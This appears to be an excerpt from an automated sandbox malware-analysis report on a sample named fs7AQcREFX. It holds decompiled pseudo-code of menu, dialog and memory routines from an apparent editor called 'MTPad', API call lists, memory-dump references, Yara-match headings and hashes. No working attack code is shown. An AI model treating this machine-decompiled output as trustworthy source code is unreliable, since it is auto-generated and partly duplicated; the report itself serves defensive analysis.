									 *(_t142 - 0x11c) = 0;
									 *((intOrPtr*)(_t142 - 0x130)) = 0;
									 *((intOrPtr*)(_t142 - 0x12c)) = 0;
									 *((intOrPtr*)(_t142 - 0x128)) = 0;
									 *((intOrPtr*)(_t142 - 0x124)) = 0;
									_t141 = _t142 - 0xd0;
									 *(_t142 - 0x138) = 0x20;
									 *((intOrPtr*)(_t142 - 0x134)) = 2;
									 *(_t142 - 0x120) = _t141;
									 *(_t142 - 0x11c) = 0xc8;
									if(SendMessageA(_t134, 0x441,  *(_t142 - 0xe0), _t142 - 0x138) == 0xffffffff || lstrlenA(_t141) == 0) {
										_t141 = 0x11293e;
										_t90 = LoadStringA( *0x170c0c,  *(_t142 - 0xe0), _t142 - 0xd0, 0xc8);
										_t118 = 0;
										if(_t90 > 0) {
											while( *((char*)(_t142 + _t118 - 0xd0)) != 0xa) {
												_t118 = _t118 + 1;
												if(_t118 < _t90) {
													continue;
												} else {
												}
												goto L18;
											}
											_t141 = _t142 + _t118 - 0xcf;
										}
									}
									L18:
									_t127 =  *(_t142 - 0xe0);
									AppendMenuA( *(_t142 - 0x108), 0 | _t110 == 0x00000000,  *(_t142 - 0xe0), _t141);
									_t137 =  *(_t142 - 0x10c);
								} else {
									E00106820();
									E00106820(_t142 - 0x168, 0, 0x30);
									_t145 = _t145 + 0x18;
									 *(_t142 - 0x168) = 0x30;
									if(E000F4890(_t110, _t134, _t137) != 0) {
										 *(_t142 - 0x168) = 0x2c;
									}
									 *((intOrPtr*)(_t142 - 0x164)) = 0x14;
									 *(_t142 - 0x144) = _t142 - 0xd0;
									 *(_t142 - 0x140) = 0xc8;
									GetMenuItemInfoA( *(_t142 - 0x118), _t137, 1, _t142 - 0x168);
									_t127 =  *(_t142 - 0x108);
									AppendMenuA( *(_t142 - 0x108), 0 | _t110 == 0x00000000 | 0x00000010,  *(_t142 - 0x154),  *(_t142 - 0x144));
								}
							} else {
								if(GetMenuItemCount( *(_t142 - 0x108)) > 0) {
									AppendMenuA( *(_t142 - 0x108), 0x800, 0, 0);
								}
							}
						}
					}
					_t137 = _t137 + 1;
					 *(_t142 - 0x10c) = _t137;
				} while (_t137 <  *((intOrPtr*)(_t142 - 0x114)));
				_t138 =  *(_t142 - 0x108);
				if(GetMenuItemCount(_t138) != 0) {
					_pop(_t135);
					 *( *(_t142 - 0x110)) = _t138;
					_pop(_t139);
					_pop(_t106);
					return E001059E6(1, _t106,  *(_t142 - 4) ^ _t142,  *(_t142 - 0x110), _t135, _t139);
				} else {
					if(_t138 != 0) {
						DestroyMenu(_t138);
					}
					MessageBeep(0xffffffff);
					_pop(_t136);
					_pop(_t140);
					_pop(_t107);
					return E001059E6(0, _t107,  *(_t142 - 4) ^ _t142, _t127, _t136, _t140);
				}
			}

0x00100150
0x00100158
0x0010015e
0x00100164
0x0010016a
0x00100170
0x00100184
0x0010018d
0x001001a3
0x001001a9
0x001001af
0x001001b5
0x001001bb
0x001001bd
0x001001c3
0x001001ce
0x001001d7
0x001001e0
0x0010021c
0x00100227
0x00100229
0x00100230
0x00100231
0x001002ce
0x001002d5
0x001002d8
0x001002de
0x001002e4
0x001002f1
0x001002f7
0x001002fd
0x00100303
0x00100310
0x0010031e
0x00100328
0x00100332
0x00100338
0x0010034b
0x00100374
0x00100379
0x0010037f
0x00100383
0x00100385
0x0010038f
0x00100392
0x00000000
0x00000000
0x00100394
0x00000000
0x00100392
0x00100396
0x00100396
0x00100383
0x0010039d
0x0010039d
0x001003b4
0x001003ba
0x00100237
0x00100237
0x00100247
0x0010024c
0x0010024f
0x00100260
0x00100262
0x00100262
0x00100283
0x0010028d
0x00100293
0x0010029d
0x001002b7
0x001002c3
0x001002c3
0x001001e2
0x001001f1
0x00100207
0x00100207
0x001001f1
0x001001e0
0x001001d7
0x001003c0
0x001003c1
0x001003c7
0x001003d3
0x001003e2
0x00100413
0x00100414
0x00100416
0x0010041b
0x00100424
0x001003e4
0x001003e6
0x001003e9
0x001003e9
0x001003f1
0x001003f9
0x001003fa
0x001003fb
0x00100409
0x00100409

APIs

SendMessageA.USER32(?,00000417,00000000,?), ref: 00100184
SendMessageA.USER32(?,0000041D,?,?), ref: 001001BB
GetMenuItemCount.USER32 ref: 001001E9
AppendMenuA.USER32 ref: 00100207
_memset.LIBCMT ref: 00100237
_memset.LIBCMT ref: 00100247
GetMenuItemInfoA.USER32 ref: 0010029D
AppendMenuA.USER32 ref: 001002C3
GetMenuItemCount.USER32 ref: 001003DA
DestroyMenu.USER32(?,?,00000000), ref: 001003E9
MessageBeep.USER32(000000FF), ref: 001003F1

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Menu$ItemMessage$AppendCountSend_memset$BeepDestroyInfo
String ID:
API String ID: 2301784159-0
Opcode ID: e70a323967763573e164107f95d3bc1f50f1a19a2bccb09d7da94945c001d4e6
Instruction ID: 6681bbd65ee12f4bd92cf201b60c0e14eb0bec19a48bc5f63d7839aa31f723b1
Opcode Fuzzy Hash: e70a323967763573e164107f95d3bc1f50f1a19a2bccb09d7da94945c001d4e6
Instruction Fuzzy Hash: DC213970E012699FDB66CB64CD45BDEB7B4BB1C300F0081EAA549E6180D7B05EC08F60

Uniqueness

Uniqueness Score: -1.00%

Function 00100149 Relevance: 10.6, APIs: 7, Instructions: 73
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00100149() {
				void* __edi;
				void* __esi;
				signed char _t83;
				int _t90;
				void* _t106;
				void* _t107;
				signed char _t110;
				void* _t118;
				struct HWND__* _t134;
				void* _t135;
				void* _t136;
				int _t137;
				int _t138;
				struct HMENU__* _t139;
				void* _t140;
				void* _t141;
				CHAR* _t142;
				signed int _t143;

				do {
					 *(_t143 - 0xe4) = 0;
					 *(_t143 - 0xe0) = 0;
					 *(_t143 - 0xdc) = 0;
					 *((intOrPtr*)(_t143 - 0xd8)) = 0;
					 *((intOrPtr*)(_t143 - 0xd4)) = 0;
					SendMessageA(_t134, 0x417, _t137, _t143 - 0xe4);
					if(( *(_t143 - 0xdc) & 0x00000008) == 0) {
						 *(_t143 - 0xf4) = 0;
						 *((intOrPtr*)(_t143 - 0xf0)) = 0;
						 *(_t143 - 0xec) = 0;
						 *((intOrPtr*)(_t143 - 0xe8)) = 0;
						SendMessageA(_t134, 0x41d, _t137, _t143 - 0xf4);
						_t83 =  *(_t143 - 0xdc);
						_t127 =  *(_t143 - 0xec);
						_t110 = _t83 >> 0x00000002 & 0x00000001;
						if( *(_t143 - 0xec) >  *((intOrPtr*)(_t143 - 0xfc))) {
							if((_t83 & 0x00000001) == 0) {
								_push(0xc7);
								_push(0);
								 *(_t143 - 0xd0) = 0;
								_push(_t143 - 0xcf);
								if(( *(_t143 - 0x110))[2] == 0) {
									E00106820();
									 *((intOrPtr*)(_t143 - 0x134)) = 0;
									 *(_t143 - 0x120) = 0;
									 *(_t143 - 0x11c) = 0;
									 *((intOrPtr*)(_t143 - 0x130)) = 0;
									 *((intOrPtr*)(_t143 - 0x12c)) = 0;
									 *((intOrPtr*)(_t143 - 0x128)) = 0;
									 *((intOrPtr*)(_t143 - 0x124)) = 0;
									_t142 = _t143 - 0xd0;
									 *(_t143 - 0x138) = 0x20;
									 *((intOrPtr*)(_t143 - 0x134)) = 2;
									 *(_t143 - 0x120) = _t142;
									 *(_t143 - 0x11c) = 0xc8;
									if(SendMessageA(_t134, 0x441,  *(_t143 - 0xe0), _t143 - 0x138) == 0xffffffff || lstrlenA(_t142) == 0) {
										_t142 = 0x11293e;
										_t90 = LoadStringA( *0x170c0c,  *(_t143 - 0xe0), _t143 - 0xd0, 0xc8);
										_t118 = 0;
										if(_t90 > 0) {
											while( *((char*)(_t143 + _t118 - 0xd0)) != 0xa) {
												_t118 = _t118 + 1;
												if(_t118 < _t90) {
													continue;
												} else {
												}
												goto L18;
											}
											_t142 = _t143 + _t118 - 0xcf;
										}
									}
									L18:
									_t127 =  *(_t143 - 0xe0);
									AppendMenuA( *(_t143 - 0x108), 0 | _t110 == 0x00000000,  *(_t143 - 0xe0), _t142);
									_t137 =  *(_t143 - 0x10c);
								} else {
									E00106820();
									E00106820(_t143 - 0x168, 0, 0x30);
									 *(_t143 - 0x168) = 0x30;
									if(E000F4890(_t110, _t134, _t137) != 0) {
										 *(_t143 - 0x168) = 0x2c;
									}
									 *((intOrPtr*)(_t143 - 0x164)) = 0x14;
									 *(_t143 - 0x144) = _t143 - 0xd0;
									 *(_t143 - 0x140) = 0xc8;
									GetMenuItemInfoA( *(_t143 - 0x118), _t137, 1, _t143 - 0x168);
									_t127 =  *(_t143 - 0x108);
									AppendMenuA( *(_t143 - 0x108), 0 | _t110 == 0x00000000 | 0x00000010,  *(_t143 - 0x154),  *(_t143 - 0x144));
								}
							} else {
								if(GetMenuItemCount( *(_t143 - 0x108)) > 0) {
									AppendMenuA( *(_t143 - 0x108), 0x800, 0, 0);
								}
							}
						}
					}
					_t138 = _t137 + 1;
					 *(_t143 - 0x10c) = _t138;
				} while (_t138 <  *((intOrPtr*)(_t143 - 0x114)));
				_t139 =  *(_t143 - 0x108);
				if(GetMenuItemCount(_t139) != 0) {
					_pop(_t135);
					 *( *(_t143 - 0x110)) = _t139;
					_pop(_t140);
					_pop(_t106);
					return E001059E6(1, _t106,  *(_t143 - 4) ^ _t143,  *(_t143 - 0x110), _t135, _t140);
				} else {
					if(_t139 != 0) {
						DestroyMenu(_t139);
					}
					MessageBeep(0xffffffff);
					_pop(_t136);
					_pop(_t141);
					_pop(_t107);
					return E001059E6(0, _t107,  *(_t143 - 4) ^ _t143, _t127, _t136, _t141);
				}
			}

0x00100150
0x00100158
0x0010015e
0x00100164
0x0010016a
0x00100170
0x00100184
0x0010018d
0x001001a3
0x001001a9
0x001001af
0x001001b5
0x001001bb
0x001001bd
0x001001c3
0x001001ce
0x001001d7
0x001001e0
0x0010021c
0x00100227
0x00100229
0x00100230
0x00100231
0x001002ce
0x001002d8
0x001002de
0x001002e4
0x001002f1
0x001002f7
0x001002fd
0x00100303
0x00100310
0x0010031e
0x00100328
0x00100332
0x00100338
0x0010034b
0x00100374
0x00100379
0x0010037f
0x00100383
0x00100385
0x0010038f
0x00100392
0x00000000
0x00000000
0x00100394
0x00000000
0x00100392
0x00100396
0x00100396
0x00100383
0x0010039d
0x0010039d
0x001003b4
0x001003ba
0x00100237
0x00100237
0x00100247
0x0010024f
0x00100260
0x00100262
0x00100262
0x00100283
0x0010028d
0x00100293
0x0010029d
0x001002b7
0x001002c3
0x001002c3
0x001001e2
0x001001f1
0x00100207
0x00100207
0x001001f1
0x001001e0
0x001001d7
0x001003c0
0x001003c1
0x001003c7
0x001003d3
0x001003e2
0x00100413
0x00100414
0x00100416
0x0010041b
0x00100424
0x001003e4
0x001003e6
0x001003e9
0x001003e9
0x001003f1
0x001003f9
0x001003fa
0x001003fb
0x00100409
0x00100409

APIs

SendMessageA.USER32(?,00000417,00000000,?), ref: 00100184
SendMessageA.USER32(?,0000041D,?,?), ref: 001001BB
GetMenuItemCount.USER32 ref: 001001E9
AppendMenuA.USER32 ref: 00100207
_memset.LIBCMT ref: 00100237
_memset.LIBCMT ref: 00100247
GetMenuItemInfoA.USER32 ref: 0010029D
AppendMenuA.USER32 ref: 001002C3
GetMenuItemCount.USER32 ref: 001003DA
DestroyMenu.USER32(?,?,00000000), ref: 001003E9
MessageBeep.USER32(000000FF), ref: 001003F1

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Menu$ItemMessage$AppendCountSend_memset$BeepDestroyInfo
String ID:
API String ID: 2301784159-0
Opcode ID: f071194ab42ff902778fc6c6e8d3606359301c8c09feefec77e099f7d5ed8b1e
Instruction ID: a86cd0fa628fbe283c64c88029a2f7ed63e234ae95fccd385ed38fb72dfef956
Opcode Fuzzy Hash: f071194ab42ff902778fc6c6e8d3606359301c8c09feefec77e099f7d5ed8b1e
Instruction Fuzzy Hash: 77213970E012699FDB66CB64CD45BDEB7B4BB1C300F0081EAAA49E6180D7B05EC08F60

Uniqueness

Uniqueness Score: -1.00%

Function 00100A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00100A20(int _a4, int _a8, long _a12) {
				signed int _v8;
				short _v11;
				short _v15;
				char _v16;
				int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t27;
				void* _t32;
				intOrPtr _t37;
				struct HHOOK__* _t39;
				intOrPtr _t41;
				int _t42;
				int _t43;
				intOrPtr _t44;
				signed int _t46;

				_t19 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t19 ^ _t46;
				_t43 = _a4;
				_t42 = _a8;
				_v16 = 0;
				_v15 = 0;
				_v11 = 0;
				if(_t43 != 3) {
					if(_t43 == 4) {
						GetClassNameA(_t42,  &_v16, 7);
						if(lstrcmpA("#32768",  &_v16) == 0) {
							_t41 =  *0x17199c; // 0x0
							_t37 =  *((intOrPtr*)(_t41 + 8));
							_t27 = _t37 - 1;
							if(_t27 >= 0 && _t27 < _t37) {
								 *((intOrPtr*)(_t41 + 8)) = _t27;
							}
						}
					}
				} else {
					GetClassNameA(_t42,  &_v16, 7);
					if(lstrcmpA("#32768",  &_v16) == 0) {
						_t44 =  *0x17199c; // 0x0
						_v20 = _t42;
						E00101C50( &_v20, _t44 + 4);
						_t43 = _a4;
						_t32 = _t32;
					}
				}
				_t39 =  *0x171998; // 0x0
				return E001059E6(CallNextHookEx(_t39, _t43, _t42, _a12), _t32, _v8 ^ _t46, _t39, _t42, _t43);
			}

0x00100a26
0x00100a2d
0x00100a31
0x00100a37
0x00100a3a
0x00100a3e
0x00100a41
0x00100a48
0x00100a88
0x00100a91
0x00100aa8
0x00100aaa
0x00100ab0
0x00100ab3
0x00100ab8
0x00100abe
0x00100abe
0x00100ab8
0x00100aa8
0x00100a4a
0x00100a51
0x00100a68
0x00100a6a
0x00100a77
0x00100a7a
0x00100a7f
0x00100a82
0x00100a82
0x00100a68
0x00100ac4
0x00100ae3

APIs

GetClassNameA.USER32(?,00000000,00000007), ref: 00100A51
lstrcmpA.KERNEL32(#32768,00000000), ref: 00100A60

Part of subcall function 00101C50: __recalloc.LIBCMT ref: 00101C8E

GetClassNameA.USER32(?,00000000,00000007), ref: 00100A91
lstrcmpA.KERNEL32(#32768,00000000), ref: 00100AA0
CallNextHookEx.USER32 ref: 00100ACE

Strings

#32768, xrefs: 00100A5B, 00100A9B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ClassNamelstrcmp$CallHookNext__recalloc
String ID: #32768
API String ID: 480024222-207879865
Opcode ID: 1975896e1fddd87b83090447bbe1756855c30799ffb230d2f4fd9244f309dbf3
Instruction ID: b6658988b5865cb042611c4fd819e1d376935a02396ac2a133c76b5533e98452
Opcode Fuzzy Hash: 1975896e1fddd87b83090447bbe1756855c30799ffb230d2f4fd9244f309dbf3
Instruction Fuzzy Hash: D221AF35F01209EBDB01DFA4DC84EFEB778EB49714F018559E80897180E7B0AA81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02527497 Relevance: 10.6, APIs: 7, Instructions: 72filememorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000), ref: 025274B2
CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 025274D7
GetFileSize.KERNEL32(000000FF,00000000), ref: 025274F0
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0252750C
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 02527534
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02527560
CloseHandle.KERNEL32(000000FF), ref: 0252756A

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: File$Virtual$AllocCloseCreateFreeHandleReadSizelstrlen
String ID:
API String ID: 244179375-0
Opcode ID: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction ID: cc8b22ec0c30ed76d623817cf00939b05c571aecb04b2374c3a207327fe802e5
Opcode Fuzzy Hash: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction Fuzzy Hash: E5212E75E00218BBEB14DFA4C849BAEBB78FB48700F108658E615B72C0D7789A84CB54

Uniqueness

Uniqueness Score: -1.00%

Function 02526287 Relevance: 10.6, APIs: 7, Instructions: 68sleepsynchronizationCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0252629F
WaitForSingleObject.KERNEL32(?,00000064), ref: 025262BB
RtlEnterCriticalSection.NTDLL(-0000000C), ref: 025262CF
RtlLeaveCriticalSection.NTDLL(-0000000C), ref: 0252630B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02526332
SetEvent.KERNEL32(?), ref: 0252633F
Sleep.KERNEL32(00001388), ref: 0252634C

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterEventFreeInitializeLeaveObjectSingleSleepVirtualWait
String ID:
API String ID: 1808503317-0
Opcode ID: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction ID: dcec3734cc170ba0abbe36f6b504c0825eabbe36ed67741d44705c97622f8740
Opcode Fuzzy Hash: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction Fuzzy Hash: 19212AB5A00218EFE704DF94C948BAEB7B9FB89301F248698E515A72C0C779DE84CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000F72C0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E000F72C0(void* __ebx, void* __ecx) {
				signed int _v8;
				char _v308;
				void* __edi;
				void* __esi;
				signed int _t9;
				struct HWND__* _t15;
				int _t18;
				signed int _t19;
				void* _t22;
				void* _t31;
				signed int _t33;

				_t22 = __ebx;
				_t9 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t9 ^ _t33;
				_t31 = __ecx;
				if(SendMessageA( *(__ecx + 4), 0xb8, 0, 0) == 0) {
					L5:
					__eflags = _v8 ^ _t33;
					return E001059E6(1, _t22, _v8 ^ _t33, _t30, _t31, _t32);
				} else {
					_t15 = GetParent( *(_t31 + 4));
					_t30 = _t31 + 0x15c;
					_t32 = _t15;
					wsprintfA( &_v308, "Save changes to %s ?", _t31 + 0x15c);
					_t18 = MessageBoxA(_t15,  &_v308, "MTPad", 0x33);
					if(_t18 != 2) {
						__eflags = _t18 - 6;
						if(__eflags != 0) {
							goto L5;
						} else {
							_t19 = E000F7370(_t31, __eflags);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L2;
							} else {
								goto L5;
							}
						}
					} else {
						L2:
						return E001059E6(0, _t22, _v8 ^ _t33, _t30, _t31, _t32);
					}
				}
			}

0x000f72c0
0x000f72c9
0x000f72d0
0x000f72d9
0x000f72ec
0x000f7350
0x000f7354
0x000f7364
0x000f72ee
0x000f72f2
0x000f72f8
0x000f72ff
0x000f730d
0x000f7325
0x000f732e
0x000f7342
0x000f7345
0x00000000
0x000f7347
0x000f7347
0x000f734c
0x000f734e
0x00000000
0x00000000
0x00000000
0x00000000
0x000f734e
0x000f7330
0x000f7330
0x000f7341
0x000f7341
0x000f732e

APIs

SendMessageA.USER32(?,000000B8,00000000,00000000), ref: 000F72E4
GetParent.USER32(?), ref: 000F72F2
wsprintfA.USER32 ref: 000F730D
MessageBoxA.USER32 ref: 000F7325

Strings

Save changes to %s ?, xrefs: 000F7307
MTPad, xrefs: 000F7318

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$ParentSendwsprintf
String ID: MTPad$Save changes to %s ?
API String ID: 1966038634-1718077980
Opcode ID: 6ba25e2805f2609720c1f7e7c467779bb1ecec3f885d156677e271254ca10a76
Instruction ID: 556951d2f8096a204ce42155d160565b1630d7228954f81e90ab2de9b8217195
Opcode Fuzzy Hash: 6ba25e2805f2609720c1f7e7c467779bb1ecec3f885d156677e271254ca10a76
Instruction Fuzzy Hash: E911E531A14208BBC728EB65ED46BEBB3A8FB48310F000169F909C6580EBB0AA51D7D1

Uniqueness

Uniqueness Score: -1.00%

Function 000FFE10 Relevance: 10.6, APIs: 7, Instructions: 58
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FFE10(void* __ebx, void** _a4) {
				void* _t12;
				void** _t29;
				void* _t33;

				if(__ebx != 0) {
					_t28 = ( *(__ebx + 0x26) & 0x0000ffff) + ( *(__ebx + 0x24) & 0x0000ffff);
					_t33 = GlobalAlloc(2, ( *(__ebx + 0x26) & 0x0000ffff) + ( *(__ebx + 0x24) & 0x0000ffff));
					if(_t33 != 0) {
						E001096A0(GlobalLock(_t33), __ebx, _t28);
						GlobalUnlock(_t33);
					}
					_t29 = _a4;
					_t12 =  *_t29;
					if(_t12 != 0) {
						GlobalUnlock(_t12);
						GlobalFree( *_t29);
						 *_t29 = 0;
					}
					 *_t29 = _t33;
					if(_t33 == 0) {
						_t29[1] = 0;
						return 0 | _t33 != 0x00000000;
					} else {
						_t29[1] = GlobalLock(_t33);
						return 0 | _t33 != 0x00000000;
					}
				} else {
					return 0;
				}
			}

0x000ffe15
0x000ffe27
0x000ffe32
0x000ffe36
0x000ffe42
0x000ffe4b
0x000ffe4b
0x000ffe51
0x000ffe54
0x000ffe58
0x000ffe5b
0x000ffe64
0x000ffe6a
0x000ffe6a
0x000ffe70
0x000ffe74
0x000ffe8f
0x000ffe9a
0x000ffe76
0x000ffe7d
0x000ffe8a
0x000ffe8a
0x000ffe17
0x000ffe1a
0x000ffe1a

APIs

GlobalAlloc.KERNEL32(00000002,?,?,?,?,000F7916,?), ref: 000FFE2C
GlobalLock.KERNEL32 ref: 000FFE39
_memmove.LIBCMT ref: 000FFE42
GlobalUnlock.KERNEL32(00000000,?,000F7916,?), ref: 000FFE4B
GlobalUnlock.KERNEL32(00000000,?,000F7916,?), ref: 000FFE5B
GlobalFree.KERNEL32 ref: 000FFE64
GlobalLock.KERNEL32 ref: 000FFE77

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Global$LockUnlock$AllocFree_memmove
String ID:
API String ID: 791280331-0
Opcode ID: 825e221bd1db4be225a73b1c906cbad01a9055a53f1107767bc1124595f7ed06
Instruction ID: 5b0d99333e3f84c9431b1391561f1ee645df87ddcfd173c18e92b877945f4bfb
Opcode Fuzzy Hash: 825e221bd1db4be225a73b1c906cbad01a9055a53f1107767bc1124595f7ed06
Instruction Fuzzy Hash: E001D6B290162797C7116FA4A90C9BBBBE8EF587517018121FE04C7615EB74C8A0D6A0

Uniqueness

Uniqueness Score: -1.00%

Function 001057B1 Relevance: 10.6, APIs: 7, Instructions: 58
memoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E001057B1() {
				intOrPtr _t2;
				void* _t3;
				void* _t13;
				intOrPtr* _t15;
				void* _t16;
				void* _t17;
				void* _t18;

				if( *0x170c00 == 0 && E00105693() == 0) {
					L8:
					return 0;
				}
				_t2 =  *0x170c00; // 0x0
				if(_t2 == 1) {
					_t13 = HeapAlloc(GetProcessHeap(), 0, 0xd);
					if(_t13 == 0) {
						goto L8;
					}
					return _t13;
				}
				_t15 = __imp__InterlockedPopEntrySList;
				_t3 =  *_t15(_t2);
				if(_t3 == 0) {
					_t18 = VirtualAlloc(0, 0x1000, 0x1000, 0x40);
					if(_t18 != 0) {
						_t16 =  *_t15( *0x170c00);
						if(_t16 == 0) {
							_t1 = _t18 + 0xff0; // 0xff0
							_t17 = _t1;
							do {
								__imp__InterlockedPushEntrySList( *0x170c00, _t18);
								_t18 = _t18 + 0x10;
							} while (_t18 < _t17);
							return _t18;
						}
						VirtualFree(_t18, 0, 0x8000);
						return _t16;
					}
					goto L8;
				}
				return _t3;
			}

0x0010571c
0x0010576c
0x00000000
0x0010576c
0x00105727
0x0010572f
0x0010573c
0x00105744
0x00000000
0x00000000
0x00000000
0x00105744
0x00105748
0x0010574f
0x00105753
0x00105766
0x0010576a
0x0010577a
0x0010577e
0x00105792
0x00105792
0x00105798
0x0010579f
0x001057a5
0x001057a8
0x00000000
0x001057ac
0x00105788
0x00000000
0x0010578e
0x00000000
0x0010576a
0x001057b0

APIs

GetProcessHeap.KERNEL32(00000000,0000000D,00000000,00000000,00104307), ref: 00105735
HeapAlloc.KERNEL32(00000000), ref: 0010573C

Part of subcall function 00105693: IsProcessorFeaturePresent.KERNEL32(0000000C,00105723,00000000,00000000,00104307), ref: 00105695

InterlockedPopEntrySList.KERNEL32(00000000,00000000,00000000,00104307), ref: 0010574F
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 00105760
InterlockedPopEntrySList.KERNEL32 ref: 00105778
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00105788
InterlockedPushEntrySList.KERNEL32(00000000), ref: 0010579F

Memory Dump Source

